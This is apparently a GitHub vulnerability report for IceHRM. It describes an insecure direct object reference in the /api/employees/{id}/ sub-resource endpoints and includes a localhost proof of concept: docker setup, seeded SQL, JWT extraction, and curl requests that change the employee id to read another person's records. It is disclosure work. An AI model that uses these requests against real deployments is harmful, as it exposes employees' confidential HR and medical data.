Skip to content

IDOR on /api/employees/{id}/{skills,educations,certifications,languages,leaves,attendance,status} lets any employee read any colleague's HR records #375

Description

@geo-chen

Summary

The IceHRM REST API exposes sub-resource list endpoints under /api/employees/{id}/... (skills, educations, certifications, languages, leaves, attendance, status) that take the numeric employee id straight from the URL and use it as a filter, with no comparison against the caller's own employee id and no permission check. Any authenticated employee can therefore read any colleague's qualifications, leave history, attendance, and daily status messages. The same project's main EmployeeRestEndPoint::get does gate access via PermissionManager::manipulationAllowed(), and the sibling setEmployeeStatusMessage does call checkBasicPermissions, so the missing checks on the listed handlers are clear oversights.

Details

Route registration (core/src/Employees/Admin/Api/EmployeesAdminManager.php):

Macaw::get(REST_API_PATH.'employees/(:num)/skills', function ($pathParams) {
    $empRestEndPoint = new EmployeeSkillsRestEndPoint();
    $empRestEndPoint->process('listAll', $pathParams);
});

Macaw::get(REST_API_PATH.'employees/(:num)/educations', function ($pathParams) {
    $empRestEndPoint = new EmployeeEducationRestEndpoint();
    $empRestEndPoint->process('listAll', $pathParams);
});
... (certifications, languages, leaves, attendance, status follow the same pattern)

RestEndPoint::process() (core/src/Classes/RestEndPoint.php:89) only validates that a bearer token is present (line 100, validateAccessToken()); per-route role/level enforcement is delegated to each handler.

Vulnerable handlers, each calling $query->addFilter(new Filter('employee', $parameter)) directly with the URL parameter and no BaseService::getCurrentProfileId() comparison:

  • core/src/Employees/Rest/EmployeeSkillsRestEndPoint.php:20-51 (listAll)
  • core/src/Employees/Rest/EmployeeEducationRestEndPoint.php:20-51 (listAll)
  • core/src/Employees/Rest/EmployeeCertificationsRestEndPoint.php (listAll)
  • core/src/Employees/Rest/EmployeeLanguageRestEndPoint.php (listAll)
  • core/src/Employees/Rest/EmployeeLeavesRestEndPoint.php:21-56 (listAll) and :58-75 (getSummary)
  • core/src/Employees/Rest/EmployeeAttendanceRestEndPoint.php:21-54 (listAll) and :56-87 (getSummary)
  • core/src/Employees/Rest/EmployeeRestEndPoint.php:242-257 (getEmployeeStatusMessage) -- the sibling setEmployeeStatusMessage at :259 DOES call checkBasicPermissions, confirming the GET miss is an oversight.

The same project's main EmployeeRestEndPoint::get at :109 gates with PermissionManager::manipulationAllowed(), demonstrating the expected pattern that these handlers should follow.

PoC

Tested against the included docker-compose-prod.yaml (gamonoid/icehrm at commit e75ed7e). Seeded a confidential skill record for Admin (employee id 1) and created a low-privilege employee Bob (employee id 2):

$ docker compose -f docker-compose-prod.yaml up -d --build
$ # Seed admin's skill
$ docker exec icehrm-mysql mysql -uroot -picehrm_root_secure_password icehrm -e \
   "INSERT INTO Skills (id, name) VALUES (1, 'PHP'); \
    INSERT INTO EmployeeSkills (id, skill_id, employee, details) \
       VALUES (1, 1, 1, 'CONFIDENTIAL: years of expertise');"
$ # Create employee Bob
$ docker exec icehrm-mysql mysql -uroot -picehrm_root_secure_password icehrm -e \
   "INSERT INTO Employees (id, employee_id, first_name, last_name, ...) VALUES (2, 'EMP002', 'Bob', 'Victim', ...); \
    INSERT INTO Users (id, username, email, password, user_level, employee) \
       VALUES (2, 'bob', 'bob@example.com', MD5('bobpass'), 'Employee', 2);"

Bob logs in through the standard login form, which seeds a JWT into the dashboard HTML. Extract it:

$ curl -L -c bob.cookies -d "username=bob&password=bobpass&csrf=$CSRF" \
    http://localhost:5555/app/login.php -o bob_dashboard.html
$ BOB_JWT=$(grep -oE '"ey[a-zA-Z0-9._-]+"' bob_dashboard.html | head -1 | tr -d '"')

Bob requests his own employee data: empty (he has no skills).

$ curl -H "Authorization: Bearer $BOB_JWT" \
    http://localhost:5555/app/api/employees/2/skills
{"data": [], "total": 0, "nextPage": 2}
HTTP 200

Bob then changes the URL id to 1 (the admin) and reads the admin's confidential skill:

$ curl -H "Authorization: Bearer $BOB_JWT" \
    http://localhost:5555/app/api/employees/1/skills
{
    "data": [{
        "id": 1,
        "skill_id": {"id": 1, "display": "Programming and Application Development"},
        "employee": {"id": 1, "display": "IceHrm Employee"},
        "details": "CONFIDENTIAL: years of expertise"
    }],
    "total": 1
}
HTTP 200

The same primitive works against /educations, /certifications, /languages, /attendance, and /status (server returns 500 on /leaves if the leave table is unseeded but the endpoint reaches the handler and runs the same unfiltered query).

Impact

Any authenticated employee can read every colleague's HR records: qualifications, leave history (medical/personal context), attendance/timesheet, certifications, languages, and the daily status/mood message. In regulated environments (HIPAA, GDPR, internal HR confidentiality policies) this breaks the operator's mandatory access controls. The most invasive disclosure is the status/mood field, which often contains personal context (illness, family events, mental health). Leave history likewise reveals medical and personal information.

The bug is read-only on these endpoints (no integrity impact via the listed paths), but read-everywhere across the entire workforce.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions